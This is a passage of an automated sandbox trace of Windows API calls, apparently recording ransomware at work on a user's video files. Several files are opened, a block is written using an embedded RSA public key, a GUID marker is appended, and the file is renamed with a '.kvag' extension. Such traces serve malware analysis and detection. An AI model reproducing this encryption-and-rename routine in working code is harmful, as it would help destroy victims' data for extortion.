KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.244] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.244] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.244] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.244] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.244] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.245] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.245] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.245] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.245] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.245] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.245] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.245] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x56eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.245] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.245] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.246] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.246] CloseHandle (hObject=0x61c) returned 1 [0121.246] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\76xpNeygNMpcG-mLxW.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\76xpneygnmpcg-mlxw.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\76xpNeygNMpcG-mLxW.avi.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\76xpneygnmpcg-mlxw.avi.kvag")) returned 1 [0121.248] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd17d1060, ftCreationTime.dwHighDateTime=0x1d4d391, ftLastAccessTime.dwLowDateTime=0x7baa6e30, ftLastAccessTime.dwHighDateTime=0x1d4d323, ftLastWriteTime.dwLowDateTime=0x7baa6e30, ftLastWriteTime.dwHighDateTime=0x1d4d323, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EKLgt3560oqvlMqYdD", cAlternateFileName="EKLGT3~1")) returned 1 [0121.248] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x961264c0, ftCreationTime.dwHighDateTime=0x1d4c825, ftLastAccessTime.dwLowDateTime=0x385424b0, ftLastAccessTime.dwHighDateTime=0x1d4d17e, ftLastWriteTime.dwLowDateTime=0x385424b0, ftLastWriteTime.dwHighDateTime=0x1d4d17e, nFileSizeHigh=0x0, nFileSizeLow=0x11139, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jZj0QHRQWui3.flv", cAlternateFileName="JZJ0QH~1.FLV")) returned 1 [0121.248] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\jZj0QHRQWui3.flv") returned=".flv" [0121.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\jZj0QHRQWui3.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\jzj0qhrqwui3.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.248] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=69945) returned 1 [0121.248] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.250] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11113, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.250] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.252] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x11139, lpOverlapped=0x0) returned 1 [0121.253] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.253] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.253] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.253] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607f10) returned 1 [0121.254] CryptCreateHash (in: hProv=0x3607f10, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.254] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.254] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.254] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.254] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.254] CryptReleaseContext (hProv=0x3607f10, dwFlags=0x0) returned 1 [0121.254] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.254] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.254] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.254] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.255] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11139, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.255] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.255] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.255] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.255] CloseHandle (hObject=0x61c) returned 1 [0121.256] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\jZj0QHRQWui3.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\jzj0qhrqwui3.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\jZj0QHRQWui3.flv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\jzj0qhrqwui3.flv.kvag")) returned 1 [0121.257] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceec4020, ftCreationTime.dwHighDateTime=0x1d4d290, ftLastAccessTime.dwLowDateTime=0xf5eff6c0, ftLastAccessTime.dwHighDateTime=0x1d4ce40, ftLastWriteTime.dwLowDateTime=0xf5eff6c0, ftLastWriteTime.dwHighDateTime=0x1d4ce40, nFileSizeHigh=0x0, nFileSizeLow=0x2c3d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RCr-WbxWBDI_9yc2.avi", cAlternateFileName="RCR-WB~1.AVI")) returned 1 [0121.257] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\RCr-WbxWBDI_9yc2.avi") returned=".avi" [0121.258] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\RCr-WbxWBDI_9yc2.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\rcr-wbxwbdi_9yc2.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.258] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=11325) returned 1 [0121.258] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.260] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2c17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.260] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.262] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x2c3d, lpOverlapped=0x0) returned 1 [0121.262] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.262] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.262] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.262] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607f10) returned 1 [0121.263] CryptCreateHash (in: hProv=0x3607f10, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.263] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.263] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.263] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.263] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.263] CryptReleaseContext (hProv=0x3607f10, dwFlags=0x0) returned 1 [0121.264] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.264] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.264] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.264] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.264] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2c3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.264] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.264] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.264] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.264] CloseHandle (hObject=0x61c) returned 1 [0121.268] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\RCr-WbxWBDI_9yc2.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\rcr-wbxwbdi_9yc2.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\RCr-WbxWBDI_9yc2.avi.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\rcr-wbxwbdi_9yc2.avi.kvag")) returned 1 [0121.269] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2187bf0, ftCreationTime.dwHighDateTime=0x1d4cc5e, ftLastAccessTime.dwLowDateTime=0x18325ff0, ftLastAccessTime.dwHighDateTime=0x1d4ce7f, ftLastWriteTime.dwLowDateTime=0x18325ff0, ftLastWriteTime.dwHighDateTime=0x1d4ce7f, nFileSizeHigh=0x0, nFileSizeLow=0x41de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rf5aukjBz6H8tbn.avi", cAlternateFileName="RF5AUK~1.AVI")) returned 1 [0121.269] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\Rf5aukjBz6H8tbn.avi") returned=".avi" [0121.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\Rf5aukjBz6H8tbn.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\rf5aukjbz6h8tbn.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.270] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=16862) returned 1 [0121.270] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.272] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x41b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.272] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.273] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x41de, lpOverlapped=0x0) returned 1 [0121.274] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.274] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.274] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.274] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607f10) returned 1 [0121.275] CryptCreateHash (in: hProv=0x3607f10, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.275] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.275] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.275] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.275] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.275] CryptReleaseContext (hProv=0x3607f10, dwFlags=0x0) returned 1 [0121.275] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.275] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.275] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.275] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.276] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x41de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.276] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.276] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.276] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.276] CloseHandle 